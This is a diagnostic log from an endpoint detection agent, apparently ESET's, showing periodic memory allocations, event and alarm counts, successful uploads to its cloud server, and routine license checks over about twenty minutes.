2026-03-04 10:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2639 KB; BaseEvent: 666 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 566 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; BatchSerializer::EventsQueueTag: 175 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67529 KB;
2026-03-04 10:18:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:14:10, To:, 2026-03-04 10:18:14, Duration (s):, 244, Events Per Second:, 16.842, Events:, 4116, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3407, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459613
2026-03-04 10:18:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s390ms.
2026-03-04 10:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:18:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:18:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:18:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:18:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1474 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 386 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 90 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65957 KB;
2026-03-04 10:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1857 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; rules::ProcessConditionsCache: 390 KB; BaseEvent: 278 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 73 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66593 KB;
2026-03-04 10:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2275 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; BaseEvent: 476 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66954 KB;
2026-03-04 10:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2612 KB; BaseEvent: 645 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; rules::ProcessConditionsCache: 410 KB; BatchSerializer::EventsQueueTag: 169 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67856 KB;
2026-03-04 10:22:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:18:13, To:, 2026-03-04 10:22:25, Duration (s):, 252, Events Per Second:, 16.322, Events:, 4128, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3422, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 705, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461748
2026-03-04 10:22:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s388ms.
2026-03-04 10:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1496 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; rules::ProcessConditionsCache: 412 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 92 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66058 KB;
2026-03-04 10:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:23:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:23:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:23:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:23:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1859 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 540 KB; rules::ProcessConditionsCache: 395 KB; BaseEvent: 273 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 71 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66602 KB;
2026-03-04 10:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 118810 KB; ProcessInfo: 2247 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; BaseEvent: 462 KB; rules::ProcessConditionsCache: 407 KB; BatchSerializer::EventsQueueTag: 121 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 124611 KB;
2026-03-04 10:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 118810 KB; ProcessInfo: 2611 KB; BaseEvent: 638 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; rules::ProcessConditionsCache: 385 KB; BatchSerializer::EventsQueueTag: 168 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 125164 KB;
2026-03-04 10:26:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:22:25, To:, 2026-03-04 10:26:29, Duration (s):, 244, Events Per Second:, 16.753, Events:, 4102, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3395, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458601
2026-03-04 10:26:31 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s384ms.
2026-03-04 10:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1496 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 584 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; rules::ProcessConditionsCache: 377 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 78 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127471 KB;
2026-03-04 10:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1834 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 586 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; rules::ProcessConditionsCache: 327 KB; BaseEvent: 246 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 63 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 127952 KB;
2026-03-04 10:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:28:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:28:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:28:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:28:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2225 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; BaseEvent: 441 KB; rules::ProcessConditionsCache: 349 KB; BatchSerializer::EventsQueueTag: 114 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128577 KB;
2026-03-04 10:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2611 KB; BaseEvent: 626 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; rules::ProcessConditionsCache: 353 KB; BatchSerializer::EventsQueueTag: 163 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129214 KB;
2026-03-04 10:30:43 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:26:29, To:, 2026-03-04 10:30:43, Duration (s):, 254, Events Per Second:, 16.112, Events:, 4106, File:, 2, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457202
2026-03-04 10:30:45 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s387ms.
2026-03-04 10:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1305 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 532 KB; rules::ProcessConditionsCache: 287 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BaseEvent: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 127061 KB;
2026-03-04 10:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1761 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; rules::ProcessConditionsCache: 364 KB; BaseEvent: 236 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 65 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 127910 KB;
2026-03-04 10:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2157 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 593 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; BaseEvent: 431 KB; rules::ProcessConditionsCache: 364 KB; BatchSerializer::EventsQueueTag: 115 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 128570 KB;
2026-03-04 10:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:33:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:33:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:33:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:33:34 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2540 KB; TcpIpConnectionsManager: 637 KB; BaseEvent: 615 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; rules::ProcessConditionsCache: 373 KB; BatchSerializer::EventsQueueTag: 165 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129243 KB;
2026-03-04 10:34:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:30:44, To:, 2026-03-04 10:34:34, Duration (s):, 230, Events Per Second:, 17.938, Events:, 4127, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3432, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458478
2026-03-04 10:34:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s380ms.
2026-03-04 10:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1523 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; rules::ProcessConditionsCache: 364 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 66 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 127483 KB;
2026-03-04 10:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1888 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; rules::ProcessConditionsCache: 344 KB; BaseEvent: 249 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 67 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128030 KB;
2026-03-04 10:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2251 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; BaseEvent: 429 KB; rules::ProcessConditionsCache: 335 KB; BatchSerializer::EventsQueueTag: 113 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128596 KB;
2026-03-04 10:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2620 KB; BaseEvent: 611 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; rules::ProcessConditionsCache: 332 KB; BatchSerializer::EventsQueueTag: 161 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129183 KB;
2026-03-04 10:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:38:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:38:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:38:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:38:35 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:38:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:34:33, To:, 2026-03-04 10:38:37, Duration (s):, 244, Events Per Second:, 16.627, Events:, 4071, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3363, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452730
2026-03-04 10:38:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s377ms.
2026-03-04 10:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1427 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; rules::ProcessConditionsCache: 363 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 57 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 127324 KB;
2026-03-04 10:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1825 KB; ModuleMetadata: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; TcpIpConnectionsManager: 539 KB; rules::ProcessConditionsCache: 339 KB; BaseEvent: 243 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 67 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127926 KB;
